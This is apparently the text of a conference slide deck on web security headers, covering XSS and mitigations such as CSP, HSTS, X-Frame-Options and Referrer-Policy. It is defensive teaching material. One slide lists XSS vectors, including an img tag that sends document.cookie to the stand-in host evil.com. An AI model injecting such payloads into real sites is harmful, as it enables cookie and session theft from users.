Let's talk about headers

Espen Henriksen

Platform Engineer @ SKIP

Statens Kartverk

esphen_

esphen

espen.dev

Myspace worm

XSS

  • Cross Site Scripting
  • Sometimes called script injection
  • A way for malicious actors to inject code into your application
  • One of the top vulnerabilities of today
  • Is of a concern whenever you show user provided input like text

Two types

  • Reflected XSS
    • User input is reflected onto the website
    • For example a query parameter in the URL
    • http://example.com?msg=<script>...</script>
  • Persistent XSS
    • Same as above, but more dangerous
    • XSS is stored serverside and shown to all users

Why?

Effects

  • Steal cookies
  • Steal sessions
  • Deface sites
  • Insert advertising
  • Insert cryptocurrency miners
  • Blackmail users
  • Spread worms

Oh shit

Why is it so hard to stop?

  • Some of the many examples of XSS
  • <script>
  • <style>
  • <img src="javascript:..." />
  • <img src="invalid_link" onerror="..." />
  • <img src="http://evil.com?cookie={{$root.document.cookie}}" />
  • Don't roll your own sanitization!

Sanitization

// Sanitize is from DOMPurify
import { isMarkup, sanitize } from '@oms/utils';

// Adapted from Sniplet.js

export default ({ body }) => (
  // Check if the input is HTML
  !isMarkup(body)
    // If not, write body as text (safe in React)
    ? body
    // Otherwise, sanitize and write as HTML
    // Notice the dangerouslySetInnerHTML
    : <div dangerouslySetInnerHTML={sanitize(body)} />
);

Other mitigations

  • Scanning for vulnerabilities
  • Static analysis preventing dangerouslySetInnerHTML
  • Code reviews
  • x-xss-protection header (non-standard)
  • Another way: CSP header (Content Security Policy)

What is a header anyway?

$ curl -I https://www.vg.no/

Headers are metadata

Hold on to your horses

CSP

  • Content-Security-Policy

  • A header sent from the server
  • Can also be a meta tag in the <head>
  • Helps guard against XSS
  • Supported in modern browsers
  • Partial support in IE11

Directives

  • CSP consists of a series of directives
  • Each directive specifies allowed origins
  • If a directive does not specify the origin as allowed, the resource is blocked by the browser
  • Common values: 'self', 'unsafe-inline', hostnames

Directives

  • default-src
  • connect-src
  • font-src
  • frame-src
  • img-src
  • manifest-src
  • media-src
  • prefetch-src
  • script-src
  • style-src
  • webrtc-src
  • worker-src
  • base-uri
  • plugin-types
  • sandbox
  • disown-opener
  • form-action
  • frame-ancestors
  • navigate-to
  • block-all-mixed-content
  • require-sri-for
  • upgrade-insecure-requests

What if you get it wrong?!

  • Revert, revert!
  • report-uri / report-to reporting directives
  • report-uri allows browsers to notify us that a resource has been blocked
  • Sentry supports being a report-uri target

What does it look like?

Example

// Allow current domain and trusted.com
Content-Security-Policy: default-src 'self' *.trusted.com

// Allow self and enable reporting
Content-Security-Policy: default-src 'self'; report-uri http://example.com/collector

// Only allow https
Content-Security-Policy: default-src https://example.com

// Default only from self, allow imgur for images
Content-Security-Policy: default-src 'self'; img-src 'self' https://imgur.com

// Only print warnings and enable reporting
Content-Security-Policy-Report-Only: default-src 'self'; report-uri http://example.com/collector

Some good tools

I'm getting the taste for this!

X-Frame-Options

  • Gives protection against clickjacking attacks
  • Another site can iframe your site, fullscreen and hide iframe w/ CSS
  • Attacker overlays harmless content w/ click-through
  • You click on malicious content
  • X-Frame-Options disallows iframing from unknown sites
// Never allow framing of this site
X-Frame-Options: DENY

// Only allow for sites of the same hostname
X-Frame-Options: SAMEORIGIN

X-Content-Type-Options

  • Browsers assume things
  • Attacker uploads profile photo with .js file ending
  • When rendered it executes because browser assumes it is a script
  • X-Content-Type-Options  "nosniff" disables MIME-sniffing
// Disable MIME sniffing
X-Content-Type-Options: nosniff

Strict-Transport-Security

  • HTTPS is good!
  • Letsencrypt
  • Browsers still assume HTTP mostly
  • HTTP can be Man-in-the-middle attacked
  • Downgrade attacks
  • HSTS forces HTTPS
  • Preload forces HTTPS on first load too
// Force HTTPS
Strict-Transport-Security: max-age=31536000; includeSubDomains

// Force and preload
Strict-Transport-Security: max-age=63072000; includeSubDomains; preload

Referrer-Policy

  • By default a Referer header is passed on every link click
  • "I see you came from a YT video on beating kittens"
  • Allows tracking
  • Username in URL? PII! GDPR!
  • No real reason to pass that info on users
// Never send referer, even for requests to your site
Referrer-Policy: no-referrer

// Don't send referer unless in's the same site
Referrer-Policy: same-origin

Permissions-Policy

  • Browser has lots of powerful APIs
  • APIs have bugs
  • Bugs can be abused
  • XSS can abuse your users
  • Less features=less attack surface
  • Permissions-Policy lets you disable features you don't use
// Allow geolocation and disallow microphone
Permissions-Policy: geolocation=(self "https://example.com"), microphone=()

// Set via iframe
<iframe src="https://example.com" allow="geolocation *"></iframe>

Spørsmål

(Hvis vi har tid)

Mer om SKIP

skip.kartverket.no

Jobb i Kartverket

kartverket.no/om-kartverket/jobb-i-kartverket

Fin

https://slides.com/esphen/security-headers

Made with Slides.com